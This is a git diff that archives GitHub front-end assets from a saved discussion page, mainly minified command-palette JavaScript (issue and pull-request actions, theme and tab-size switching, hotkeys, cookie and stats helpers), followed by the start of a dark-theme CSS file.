qe=Object.defineProperty,We=Object.getOwnPropertyDescriptor,j=n((t,e,s,o)=>{for(var r=o>1?void 0:o?We(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&qe(e,s,r),r},"server_defined_provider_element_decorateClass");let T=n(class extends He.b{constructor(){super(...arguments);this._wildcard="*"}get debounce(){return parseInt(this.fetchDebounce,10)}get hasCommands(){return this.supportsCommands}get hasWildCard(){return this.modes.includes(this._wildcard)}get modes(){return this.supportedModes===""&&(this._modes=[""]),this._modes||(this._modes=JSON.parse(this.supportedModes)),this._modes}get scopeTypes(){return this.supportedScopeTypes===""?[]:(this._scopeTypes||(this._scopeTypes=JSON.parse(this.supportedScopeTypes)),this._scopeTypes)}connectedCallback(){this.provider=q.create(this)}},"ServerDefinedProviderElement");j([i.Lj],T.prototype,"type",2),j([i.Lj],T.prototype,"supportedModes",2),j([i.Lj],T.prototype,"fetchDebounce",2),j([i.Lj],T.prototype,"supportedScopeTypes",2),j([i.Lj],T.prototype,"src",2),j([i.Lj],T.prototype,"supportsCommands",2),T=j([i.Ih],T);var Ne=a(8665),Ze=Object.defineProperty,Ke=Object.getOwnPropertyDescriptor,B=n((t,e,s,o)=>{for(var r=o>1?void 0:o?Ke(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&Ze(e,s,r),r},"command_palette_help_element_decorateClass");let D=n(class extends HTMLElement{connectedCallback(){this.hidden=!0}show(t){return this.isEnabledScopeType(t)}isEnabledScopeType(t){return this.scopeTypes?this.scopeTypes&&JSON.parse(this.scopeTypes).includes(t.scope.type):!0}toItem(t){const e={group:this.group,title:this.titleElement.innerHTML,index:t};return this.prefix&&(e.prefix=this.prefix),this.hintElement.textContent&&(e.persistentHint=this.hintElement.innerHTML),Ne.B.from(e)}},"CommandPaletteHelpElement");B([i.Lj],D.prototype,"group",2),B([i.Lj],D.prototype,"prefix",2),B([i.Lj],D.prototype,"scopeTypes",2),B([i.fA],D.prototype,"titleElement",2),B([i.fA],D.prototype,"hintElement",2),D=B([i.Ih],D);var Ct=a(68313),Et=a(96753),St=a(28760),_t=a(3991),Je=a(77417);class y{constructor(){this.iconType="octicon",this.group="commands",this.priority=0,this.dismissAfterRun=!0}static item(e={}){return new Je.U(new this,e)}run(e){new Error("Not implemented")}isApplicable(e){return!0}}n(y,"MainWindowCommand");class W extends y{constructor(){super(...arguments);this.group="global_commands"}}n(W,"MainWindowGlobalCommand");class ne extends y{constructor(){super(...arguments);this.title="Delete discussion\u2026",this.icon="trash-color-fg-muted"}get deleteButton(){return document.querySelector("button#dialog-show-delete-discussion")}get dialogElement(){return document.querySelector("#delete-discussion")}isApplicable(){return this.deleteButton!=null}run(){const e=this.deleteButton;if(e){e.click(),setTimeout(()=>{var s,o;(o=(s=this.dialogElement)==null?void 0:s.querySelector('button[type="submit"]'))==null||o.focus()},0);return}}}n(ne,"DeleteDiscussion");class re extends y{constructor(){super(...arguments);this.title="Edit discussion body",this.icon="pencil-color-fg-muted"}get editButton(){return document.querySelector(".js-discussions-comment-edit-button")}isApplicable(){return this.editButton!=null}run(){var e;(e=this.editButton)==null||e.click()}}n(re,"EditDiscussion");class ie extends y{constructor(){super(...arguments);this.title="Transfer discussion\u2026",this.icon="arrow-right-color-fg-muted"}fetchDetails(){return document.querySelector("details.js-transfer-discussion-details")}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s==null?void 0:s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(ie,"TransferDiscussion");const Qe=[ne,ie,re];var M=a(64992),ae=a(33241),ce=a(88513);class x extends y{constructor(){super(...arguments);this.title="2 spaces",this.iconType="none",this.tabSize="2",this.group=""}async run(e){this.updateTabSize(),this.saveSettings(e)}updateTabSize(){const e=document.querySelectorAll("[data-tab-size]");for(const s of e)s.setAttribute("data-tab-size",this.tabSize)}async saveSettings(e){const s=new FormData;s.set("tab_size_rendering_preference",this.tabSize);const o="Failed to save tab size preference";try{(await(0,ce.Q)("/settings/appearance/tab_size",{method:"PUT",body:s})).ok?e.displayFlash("success","Tab size rendering updated"):e.displayFlash("error",o)}catch{e.displayFlash("error",o)}}}n(x,"TabSizeTwo");class le extends x{constructor(){super(...arguments);this.title="3 spaces",this.tabSize="3"}}n(le,"TabSizeThree");class ue extends x{constructor(){super(...arguments);this.title="4 spaces",this.tabSize="4"}}n(ue,"TabSizeFour");class de extends x{constructor(){super(...arguments);this.title="6 spaces",this.tabSize="6"}}n(de,"TabSizeSix");class he extends x{constructor(){super(...arguments);this.title="8 spaces",this.tabSize="8"}}n(he,"TabSizeEight");class pe extends x{constructor(){super(...arguments);this.title="10 spaces",this.tabSize="10"}}n(pe,"TabSizeTen");class me extends x{constructor(){super(...arguments);this.title="12 spaces",this.tabSize="12"}}n(me,"TabSizeTwelve");class fe extends W{constructor(){super(...arguments);this.title="Change tab size rendering",this.icon="gear-color-fg-muted",this.priority=10,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"tab-sizes",this.pageItems),!0)}get pageItems(){return[x,le,ue,de,he,pe,me].map(e=>e.item())}select(e){this.run(e)}}n(fe,"SwitchTabSize");class ye extends y{constructor(){super(...arguments);this.title="Open in github.dev editor",this.icon="codespaces-color-fg-muted",this.priority=10}isApplicable(){return this.fetchLink()instanceof HTMLAnchorElement}fetchLink(){return document.querySelector(".js-github-dev-shortcut")}run(){var e;(e=this.fetchLink())==null||e.click()}}n(ye,"OpenInDotDev");class ve extends W{constructor(){super(...arguments);this.title="Switch theme",this.icon="paintbrush-color-fg-muted",this.priority=9,this.dismissAfterRun=!1}run(e){e.pushPage(new ae.Z4(this.title,"switch-theme-page-1",this.pageItems),!0)}get pageItems(){return[I,Ce,be,ge,Ee].map(e=>e.item())}select(e){this.run(e)}}n(ve,"SwitchTheme");class I extends y{constructor(){super(...arguments);this.title="Default dark",this.icon="moon-color-fg-muted",this.mode="dark",this.theme="dark",this.group=""}applyTheme(){this.loadStyles(this.theme),this.mode!=="auto"&&(0,M.on)(this.theme,this.mode),(0,M.h5)(this.mode)}async run(){this.applyTheme(),this.saveSettings(this.mode,this.lightTheme,this.darkTheme)}async saveSettings(e=this.mode,s,o){const r=new FormData;r.set("color_mode",e),s&&r.set("light_theme",s),o&&r.set("dark_theme",o);const l=await(await(0,ce.Q)("/settings/appearance/color_mode",{method:"PUT",body:r})).json();this.loadStyles(l.light_theme),this.loadStyles(l.dark_theme),(0,M.on)(l.light_theme,"light"),(0,M.on)(l.dark_theme,"dark"),(0,M.h5)(l.color_mode)}loadStyles(e){const s=document.querySelector(`link[data-color-theme='${e}']`);s&&!s.hasAttribute("href")&&s.hasAttribute("data-href")&&s.setAttribute("href",s.getAttribute("data-href"))}get darkTheme(){return this.mode==="dark"?this.theme:(0,M.yn)("dark")}get lightTheme(){return this.mode==="light"?this.theme:(0,M.yn)("light")}}n(I,"SwitchToDark");class ge extends I{constructor(){super(...arguments);this.title="Switch theme to dark high contrast",this.theme="dark_high_contrast"}}n(ge,"SwitchToDarkHighContrast");class be extends I{constructor(){super(...arguments);this.title="Dark dimmed",this.theme="dark_dimmed"}}n(be,"SwitchToDarkDimmed");class Ce extends I{constructor(){super(...arguments);this.title="Default light",this.icon="sun-color-fg-muted",this.mode="light",this.theme="light"}}n(Ce,"SwitchToLight");class Ee extends I{constructor(){super(...arguments);this.title="Sync with system settings",this.icon="sun-color-fg-muted",this.mode="auto"}get darkTheme(){}get lightTheme(){}}n(Ee,"SwitchToAuto");class Se extends y{constructor(){super();const e=this.isSubscribe();this.title=`${e?"Subscribe":"Unsubscribe"}`,this.icon=`${e?"bell":"bell-slash"}-color-fg-muted`}isApplicable(){var e;return this.fetchButton()instanceof HTMLButtonElement&&((e=this.fetchButton())==null?void 0:e.disabled)===!1}isSubscribe(){var e,s;return((s=(e=this.fetchButton())==null?void 0:e.textContent)==null?void 0:s.trim())==="Subscribe"}fetchButton(){return document.querySelector(".thread-subscribe-button")}run(){var e;(e=this.fetchButton())==null||e.click()}}n(Se,"UpdateSubscription");const Xe=[ye,fe,ve,Se];function _e(t){t.focus(),t.selectionStart=t.selectionEnd=t.value.length}n(_e,"moveCursorToEnd");class N extends y{constructor(){super(...arguments);this.title="Edit issue body",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.isIssue()}run(){const e=document.createElement("button");e.hidden=!0,e.classList.add("js-comment-edit-button");const s=document.querySelector("div.js-comment");s==null||s.appendChild(e),e.click(),e.remove(),setTimeout(()=>{var o;const r=(o=s==null?void 0:s.parentElement)==null?void 0:o.querySelector("textarea.js-comment-field");r&&_e(r)},0)}}n(N,"EditIssueBody");class Z extends y{constructor(){super(...arguments);this.title="Edit issue title",this.icon="pencil-color-fg-muted"}issueBody(){return document.querySelector(".js-command-palette-issue-body")}isIssue(){return!!this.issueBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isIssue()}fetchButton(){return document.querySelector(".js-title-edit-button")}run(){var e;(e=this.fetchButton())==null||e.click(),setTimeout(()=>{const s=document.querySelector("input#issue_title[autofocus]");s&&_e(s)},0)}}n(Z,"EditIssueTitle");class we extends y{constructor(){super(...arguments);this.title="Transfer issue\u2026",this.icon="arrow-right-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-transfer-issue")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(we,"TransferIssue");class Te extends y{constructor(){super();const e=this.isLock();this.title=`${e?"Lock":"Unlock"} conversation`,this.icon=`${e?"lock":"key"}-color-fg-muted`}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}isLock(){var e,s;return((s=(e=document.querySelector("summary.lock-toggle-link"))==null?void 0:e.textContent)==null?void 0:s.trim())==="Lock conversation"}fetchDetails(){return document.querySelector("details.js-lock-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=document.querySelector("#unlock-reason"))==null||s.focus()},0))}}n(Te,"LockIssue");class xe extends y{constructor(){super(...arguments);this.title="Delete issue\u2026",this.icon="trash-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-delete-issue")}run(){const e=this.fetchDetails();e&&(e.open=!0,setTimeout(()=>{var s;(s=e.querySelector('button[type="submit"]'))==null||s.focus()},0))}}n(xe,"DeleteIssue");class Pe extends y{constructor(){super(...arguments);this.title="Convert issue to discussion\u2026",this.icon="comment-discussion-color-fg-muted"}isApplicable(){return this.fetchDetails()instanceof HTMLDetailsElement}fetchDetails(){return document.querySelector("details.js-convert-to-discussion")}run(){var e;const s=this.fetchDetails();if(s){const o=n(()=>{setTimeout(()=>{var r;(r=s.querySelector("[data-menu-button]"))==null||r.focus()},0)},"focusMenu");(e=s.querySelector("include-fragment"))==null||e.addEventListener("load",o),s.open=!0,o()}}}n(Pe,"ConvertToDiscussion");const Ge=[Z,N,Te,we,xe,Pe];var Ye=a(78078),P=a(76745);class K extends y{constructor(){super(...arguments);this.title="Open in new codespace",this.icon="codespaces-color-fg-muted",this.priority=11}isApplicable(){const e=this.fetchElements();return!!(e.codeModal&&e.codespacesForm&&e.newCodespacesButton&&e.codespacesTab)}run(){const{codeModal:e,codespacesTab:s,newCodespacesButton:o}=this.fetchElements();!(e&&s&&o)||(e.open=!0,s.click(),o instanceof HTMLButtonElement&&o.click())}fetchElements(){const e=document.querySelector(".js-create-codespaces-form-command"),s=(e==null?void 0:e.closest("details"))||null,o=(s==null?void 0:s.querySelector('[data-tab="cloud"]'))||null,r=(e==null?void 0:e.querySelector('summary[role="button"], button[type="submit"]'))||null;return{codespacesForm:e,codeModal:s,codespacesTab:o,newCodespacesButton:r}}}n(K,"OpenCodespace");var $=a(76168);class Ae extends N{constructor(){super(...arguments);this.title="Edit pull request body"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.isPullRequest()}}n(Ae,"EditPullRequestBody");class Le extends Z{constructor(){super(...arguments);this.title="Edit pull request title"}pullRequestBody(){return document.querySelector(".js-command-palette-pull-body")}isPullRequest(){return!!this.pullRequestBody()}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement&&this.isPullRequest()}}n(Le,"EditPullRequestTitle");class je extends y{constructor(){super(...arguments);this.title="Update current branch",this.icon="sync-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-update-branch-form button")}run(){const e=this.fetchButton();e&&(e.scrollIntoView({behavior:"smooth",block:"center"}),e.click())}}n(je,"UpdateBranch");class De extends y{constructor(){super(...arguments);this.title="Convert to draft",this.icon="git-pull-request-draft-color-fg-muted"}isApplicable(){return this.fetchButton()instanceof HTMLButtonElement}fetchButton(){return document.querySelector(".js-convert-to-draft")}run(){var e;const s=(e=this.fetchButton())==null?void 0:e.closest("details");s&&(s.open=!0,setTimeout(()=>{var o;(o=s.querySelector(".js-convert-to-draft"))==null||o.focus()},0))}}n(De,"ConvertToDraft");class Me extends y{constructor(){super(...arguments);this.title="Copy current branch name",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-copy-branch")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Branch name copied to clipboard!")}catch{e.displayFlash("error","Unable to copy branch name to clipboard!")}}}}n(Me,"CopyBranchName");const et=[Me,Le,Ae,je,De,K];class ke extends y{constructor(){super(...arguments);this.title="Copy file permalink",this.icon="copy-color-fg-muted"}isApplicable(){return this.fetchPermalinkContainer()instanceof HTMLAnchorElement}fetchPermalinkContainer(){return document.querySelector(".js-permalink-shortcut")}async run(e){const s=this.fetchPermalinkContainer();if(s){const o=`${s.href}${window.location.hash}`;try{await(0,$.z)(o),e.displayFlash("success","Copied permalink!")}catch{e.displayFlash("error","Failed to copy permalink!")}}}}n(ke,"CopyPermalink");class Be extends y{constructor(){super(...arguments);this.title="Clone repository: Copy HTTPS",this.icon="copy-color-fg-muted",this.priority=4}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-http")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Be,"CloneCopyHttps");class Ie extends y{constructor(){super(...arguments);this.title="Clone repository: Copy SSH",this.icon="copy-color-fg-muted",this.priority=3}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-ssh")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Ie,"CloneCopySsh");class Oe extends y{constructor(){super(...arguments);this.title="Clone repository: Copy GitHub CLI",this.icon="copy-color-fg-muted",this.priority=2}isApplicable(){return this.backendCommandsDisabled()&&this.fetchClipboardCopy()instanceof P.Z}fetchClipboardCopy(){return document.querySelector(".js-clone-url-gh-cli")}backendCommandsDisabled(){return!!window.commandPalette&&!window.commandPalette.hasAttribute("data-commands-path")}async run(e){const s=this.fetchClipboardCopy();if(s instanceof P.Z){const o=s.value;try{await(0,$.z)(o),e.displayFlash("success","Clone URL copied!")}catch{e.displayFlash("error","Clone URL couldn't be copied")}}}}n(Oe,"CloneCopyCli");const tt=[Be,Ie,Oe,ke,K];class J extends Ye.B{constructor(){super(...arguments);this.itemsByType={},this.items=[],this.needsFetch=!0}enabledFor(e){const s=["discussion","issue","pull_request"];return e.mode===">"?!0:!!s.includes(e.scope.type)}get hasCommands(){return!0}async fetch(e){return this.items=[...Ge.map(o=>o.item()),...et.map(o=>o.item()),...tt.map(o=>o.item()),...Qe.map(o=>o.item()),...Xe.map(o=>o.item())].filter(o=>o.isApplicable(e)),{results:this.fuzzyFilter(this.items,e)}}get debounce(){return 0}clearCache(){}}n(J,"MainWindowCommandsProvider"),window.commandPalette&&window.commandPalette.registerProvider("main-window-commands-provider",new J),window.addEventListener("command-palette-ready",()=>{var t;(t=window.commandPalette)==null||t.registerProvider("main-window-commands-provider",new J)});var O=a(64465),st=a(49815),ot=Object.defineProperty,nt=Object.getOwnPropertyDescriptor,F=n((t,e,s,o)=>{for(var r=o>1?void 0:o?nt(e,s):e,c=t.length-1,l;c>=0;c--)(l=t[c])&&(r=(o?l(e,s,r):l(r))||r);return o&&r&&ot(e,s,r),r},"command_palette_input_element_decorateClass");let A=n(class extends HTMLElement{constructor(){super(...arguments);this.setupComplete=!1,this.connected=!1}static get observedAttributes(){return["input-value","typeahead","scope"]}setup(){this.classList.add("d-flex","flex-items-center","flex-nowrap","py-1","pl-3","pr-2","border-bottom"),this.input=this.querySelector("input.js-input"),this.overlayInput=this.querySelector("input.js-overlay-input"),this.scopeElement=this.querySelector("command-palette-scope"),this.searchIcon=this.querySelector(".js-search-icon"),this.spinner=this.querySelector(".js-spinner"),this.defaultScope=this.scope,this.hasAttribute("autofocus")&&this.input.focus(),this.inputValue.length!==0&&this._dispatchEvent("command-palette-input"),this.setupComplete=!0}connectedCallback(){this.setupComplete||this.setup(),this.inputValue=this.getAttribute("input-value")||"",this.typeahead=this.getAttribute("typeahead")||"",this.placeholder=this.getAttribute("placeholder")||"",this.connected=!0}attributeChangedCallback(t,e,s){!this.input||(t==="typeahead"?this.typeahead=s:t==="input-value"&&(this.inputValue=s,this._dispatchEvent("command-palette-input")))}focus(){this.input.focus()}setRemovedTokenAndSelect(t){t&&(this.inputValue=t),this.focus(),this.input.select()}get scope(){return this.scopeElement.scope}set scope(t){this.scopeElement.scope=t,this.clearButton.hidden=!this.hasSomethingToClear()}hasScope(){return this.scopeElement.hasScope()}clearScope(){return this.scopeElement.clearScope()}removeToken(){return this.scopeElement.removeToken()}get placeholder(){return this.input.getAttribute("placeholder")||""}set placeholder(t){this.input.setAttribute("placeholder",t)}get typeaheadPlaceholderText(){return this.typeaheadPlaceholder.textContent||""}set typeaheadPlaceholderText(t){this.typeaheadPlaceholder.textContent=t}get inputValue(){var t;return((t=this.input)==null?void 0:t.value)||""}set inputValue(t){this.input.value=t,this.typeahead=t,this.resetPlaceholder(),this.onInput()}get overlay(){return this.overlayInput.value}set overlay(t){this.overlayInput.value=t}get typeahead(){return this.typeaheadValue}set typeahead(t){if(this.typeaheadValue=this.overlay+t,this.mirror.textContent=this.inputValue,t==="")this.typeaheadText.textContent="";else if(this.placeholder="",this.typeaheadPlaceholderText="",this.valueStartsWithTypeahead){const e=this.inputValue.length-(this.overlay?1:0);this.typeaheadText.textContent=t.substring(e)}else this.typeaheadText.textContent=` \u2013 ${t}`}showModePlaceholder(t=""){this.typeaheadPlaceholderText=t}get valueStartsWithTypeahead(){return this.typeaheadValue.toLowerCase().startsWith(this.inputValue.toLowerCase())}get isCursorAtEnd(){return this.inputValue.length===this.input.selectionStart}set loading(t){this.spinner.hidden=!t,this.searchIcon.hidden=t}resetPlaceholder(){this.inputValue.replace(this.overlay,"")&&this.overlay&&(this.typeaheadPlaceholderText=""),this.placeholder=this.getAttribute("placeholder")||""}onInput(){this.resetPlaceholder(),!!this.connected&&(this.clearButton.hidden=!this.hasSomethingToClear(),this._dispatchEvent("command-palette-input"))}onClear(t){t instanceof KeyboardEvent&&t.key!=="Enter"||(this.inputValue="",this.input.focus(),this._dispatchEvent("command-palette-cleared"))}onKeydown(t){if(this.isSelectKeystroke(t.key)&&(this._dispatchEvent("command-palette-select"),t.stopImmediatePropagation(),t.preventDefault()),this.hasSomethingToClear()&&(0,O.o)(t)&&t.key==="Backspace"){this.onClear();return}if(this.input.selectionStart===0&&this.input.selectionEnd===0&&t.key==="Backspace"){this._dispatchEvent("command-palette-descope"),t.stopImmediatePropagation(),t.preventDefault();return}}hasSomethingToClear(){return this.scopeElement.hasScope()||this.inputValue.length>0}isSelectKeystroke(t){return(0,st.c)("ACCESSIBLE_COMMAND_PALETTE")?!1:t==="Tab"||t==="ArrowRight"&&this.isCursorAtEnd}textSelected(){return this.input.selectionStart!==this.input.selectionEnd}_dispatchEvent(t){const e=new CustomEvent(t,{cancelable:!0,detail:{typeahead:this.typeahead,value:this.inputValue}});return this.dispatchEvent(e)}},"CommandPaletteInputElement");A.tagName="command-palette-input",F([i.fA],A.prototype,"typeaheadPlaceholder",2),F([i.fA],A.prototype,"typeaheadText",2),F([i.fA],A.prototype,"mirror",2),F([i.fA],A.prototype,"clearButton",2),A=F([i.Ih],A);var rt=a(11793),it=a(6741),at=a(35889),Re=a(64463),ct=a(45922);window.customElements.get(O.Z.tagName)||window.customElements.define(O.Z.tagName,O.Z);function lt(){document.addEventListener("keydown",ut),(0,Re.N7)(".js-command-palette-dialog",t=>{if(!t)return;const e=window.performance.now(),s=Q();!s||(t.addEventListener("toggle",()=>{t.open?s.activate():s.deactivate()}),s.addEventListener("command-palette-activated",o=>{o instanceof CustomEvent&&(o.detail.previouslyActivated||(0,ct.b)({distributionKey:"COMMAND_PALETTE_FIRST_OPEN",distributionValue:window.performance.now()-e}))}))}),(0,Re.N7)(".js-socket-channel.js-updatable-content",{subscribe:t=>(0,it.RB)(t,"socket:message",()=>{const e=Q();!e||e.clearCommands(!1)})})}n(lt,"observeCommandPalette");function Q(){return document.querySelector(O.Z.tagName)}n(Q,"findCommandPalette");function ut(t){if(!t.code)return;const e=Q();if(!e)return;const s=mt(),o=X(e.platformActivationHotkey,t),r=X(e.platformSecondaryActivationHotkey,t),c=X(e.platformCommandModeHotkey,t),l=!dt(t)&&!s&&(o||c),L=!s&&(r||c),w=e.hasAttribute("data-memex-hotkey-enabled")&&s&&(o||r||c);(l||L||w)&&(ft(c),t.preventDefault(),t.stopPropagation())}n(ut,"handleKeyDown");function X(t,e){let s=(0,rt.EL)(e);return s=s.replace("\u02DA","k"),t.split(",").some(o=>s===o)}n(X,"hotkeyMatchesEvent");function dt(t){return ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: 